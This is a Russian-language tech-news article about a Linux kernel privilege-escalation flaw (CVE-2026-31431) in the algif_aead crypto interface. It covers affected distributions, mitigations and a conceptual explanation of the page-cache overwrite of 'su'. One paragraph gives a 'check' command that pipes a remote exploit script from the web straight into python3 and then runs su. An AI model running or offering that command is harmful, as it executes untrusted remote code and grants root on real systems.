Критическая уязвимость в Linux: эксплойт CVE-2026-31431 мгновенно даёт root-доступ на большинстве дистрибутивов с 2017 года

Для системных администраторов Linux наступила весьма напряжённая неделя патчей. Исследователи из компании Xint Code обнаружили опасный эксплойт, который мгновенно предоставляет root-доступ любому локальному непривилегированному пользователю. Это кошмарный сценарий для многопользовательских серверов различных типов, включая веб-серверы, контейнерные среды, такие как Kubernetes, конвейеры CI/CD и многое другое.

Эксплойт CVE-2026-31431 затрагивает практически все используемые в настоящее время дистрибутивы Linux и существует с 2017 года. Хотя это не «zero-day» и ядро уже получило патч, короткое окно раскрытия информации оставило создателям дистрибутивов относительно мало времени на реакцию. Среди затронутых версий (но не ограничиваясь ими): Ubuntu 24 (версия 26 была выпущена только на прошлой неделе), RHEL 10, Suse 16 и Amazon Linux 2023. Даже WSL2 от Microsoft в Windows уязвима, и для проведения атаки требуется всего 732 байта.

Чтобы проверить, уязвима ли система, можно просто выполнить команду «curl https://copy.fail/exp | python3 && su» из-под обычной непривилегированной учётной записи. Однако стоит отметить, что в этом случае вы доверяете онлайн-скрипту. Исходный код proof-of-concept доступен здесь, если вы предпочитаете использовать его. Если для вашего дистрибутива ещё нет патча, можно попробовать один из двух методов смягчения последствий.

Если ваше ядро загружает algif_aaed как модуль, достаточно выполнить команду [ echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf ]. Однако некоторые дистрибутивы, включая RHEL и WSL2, компилируют эту функциональность непосредственно в ядро. Это означает, что в таких случаях придётся прибегнуть к запрету пользователям открывать сокеты AF_ALG с помощью профилей seccomp, AppArmor или SELinux.

Хотя команда безопасности Xint Code не объяснила причину столь раннего публичного раскрытия уязвимости, они упомянули, что нашли её с помощью ИИ-ассистента. Учитывая, что исходный код ядра Linux по определению является общедоступным, теоретически любой серьёзный злоумышленник мог бы найти его так же легко. Возможно, быстрое раскрытие было вынужденной необходимостью.

Что касается самого механизма эксплойта, он довольно коварен. AF_ALG — это сокет, который приложение может использовать для шифрования или дешифрования данных, передавая ему данные и тег. Для проведения атаки в качестве тега предоставляется splice (сращивание) исполняемого файла, к которому у вас есть доступ; самым очевидным из них является «su».

Ключевая особенность заключается в том, что функция ядра «algif_aead» имеет внутреннюю оптимизацию, которая не создаёт копию данных для шифрования и обратного копирования; вместо этого она связывает данные тега непосредственно с выходным буфером по ссылке. По совпадению, алгоритм шифрования «authencesn» включает запись 4 байт по фиксированному смещению в своём выходном буфере. Поскольку тег, который вы «срастили» (страница данных для «su»), теперь является частью этого вывода, эти байты будут записаны непосредственно в кэшированную ядром копию исполняемого файла.

Когда вы вызываете этот исполняемый файл, он будет радостно повреждён, предоставляя права администратора. Всё это происходит в памяти, поэтому не происходит никаких обнаруживаемых операций записи на диск, и эксплойт также обходит многие пакеты безопасности.

Источник: Tomshardware.com

Подписаться на обновления Новости / Технологии
Зарегистрируйтесь на сайте, чтобы отключить рекламу

ℹ️ Помощь от ИИ в комментариях

Вы можете задать вопрос нашему ИИ-помощнику прямо в комментариях к этой статье. Он постарается быстро ответить или уточнить информацию.

⚠️ ИИ может ошибаться — проверяйте важную информацию.


0 комментариев

Оставить комментарий


Все комментарии - Технологии